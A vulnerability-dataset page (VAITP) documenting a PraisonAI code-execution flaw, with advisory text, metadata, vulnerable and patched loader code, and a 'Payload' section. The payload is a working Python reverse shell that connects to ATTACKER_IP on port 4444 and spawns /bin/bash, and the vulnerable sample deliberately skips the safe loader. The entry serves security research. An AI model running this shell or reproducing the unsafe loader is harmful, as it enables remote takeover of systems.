VAITP Dataset

← Back to the dataset

CVE-2026-55522

PraisonAI's workflow include feature allows for arbitrary code execution.

  • CVSS 7.8
  • 94
  • Design Defects
  • Local

PraisonAI is a multi-agent teams system. In versions 3.9.26 through 4.6.57 of praiseonai and 0.12.12 through 1.6.57 of praiseonaiagents, the workflow "include" feature is vulnerable to code execution. Workflow._execute_include() implicitly imports and runs an included recipe's tools.py via a raw importlib.util.spec_from_file_location() and spec.loader.exec_module() call, without honoring the PRAISONAI_ALLOW_TEMPLATE_TOOLS/PRAISONAI_ALLOW_LOCAL_TOOLS autoload opt-in gates or routing through the centralized safe loader that protects the other tools.py autoload paths. As a result, a workflow that includes an attacker-controlled local recipe directory executes arbitrary module-level Python code during include setup, before any child workflow parsing or model call, and the same sink is reachable through the higher-level praisonai.recipe.run() recipe API. An attacker who can cause a victim process to run a workflow or recipe that includes an untrusted local recipe achieves arbitrary Python code execution as the PraisonAI process user, a variant that bypasses the hardening applied to the previously disclosed automatic tools.py RCE advisory family. This issue has been fixed in version 4.6.58 of praisonai and 1.6.58 of praisonaiagents.

CWE
94
CVSS base score
7.8
Published
2026-08-05
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Local File Inclusion (LFI)
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
praiseonai a
Fixed by upgrading
Yes

Solution

Upgrade `praiseonai` to version 4.6.58 and `praiseonaiagents` to version 1.6.58.

Vulnerable code sample

import os
import importlib.util

class Workflow:
    def __init__(self, base_path: str = "."):
        self.base_path = base_path

    def _centralized_safe_loader(self, path: str, module_name: str):
        """Centralized loader that protects other autoload paths."""
        allow_local = os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "false").lower() == "true"
        if not allow_local:
            return

        spec = importlib.util.spec_from_file_location(module_name, path)
        if spec and spec.loader:
            module = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(module)
            # ... process tools safely

    def _execute_include(self, recipe_name: str) -> None:
        """Loads tools from an included recipe."""
        recipe_path = os.path.join(self.base_path, recipe_name)
        tools_path = os.path.join(recipe_path, "tools.py")

        if not os.path.exists(tools_path):
            return

        module_name = f"praisonai.recipes.{recipe_name}.tools"
        # VULNERABLE: Bypasses the centralized safe loader and directly executes module code.
        spec = importlib.util.spec_from_file_location(module_name, tools_path)
        if spec and spec.loader:
            module = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(module)

Patched code sample

import os
import importlib.util

class Workflow:
    def __init__(self, base_path: str = "."):
        self.base_path = base_path

    def _centralized_safe_loader(self, path: str, module_name: str):
        """Centralized loader that protects other autoload paths."""
        allow_local = os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "false").lower() == "true"
        if not allow_local:
            return

        spec = importlib.util.spec_from_file_location(module_name, path)
        if spec and spec.loader:
            module = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(module)
            # ... process tools safely

    def _execute_include(self, recipe_name: str) -> None:
        """Loads tools from an included recipe."""
        recipe_path = os.path.join(self.base_path, recipe_name)
        tools_path = os.path.join(recipe_path, "tools.py")

        if not os.path.exists(tools_path):
            return

        module_name = f"praisonai.recipes.{recipe_name}.tools"
        # FIX: Routes tool loading through the centralized safe loader, honoring security flags.
        self._centralized_safe_loader(tools_path, module_name)

Payload

import os
import pty
import socket

lhost = "ATTACKER_IP"  # Attacker's listening IP
lport = 4444           # Attacker's listening port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/bash")
s.close()

Cite this entry

@misc{vaitp:cve202655522,
  title        = {{PraisonAI's workflow include feature allows for arbitrary code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-55522},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-55522/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::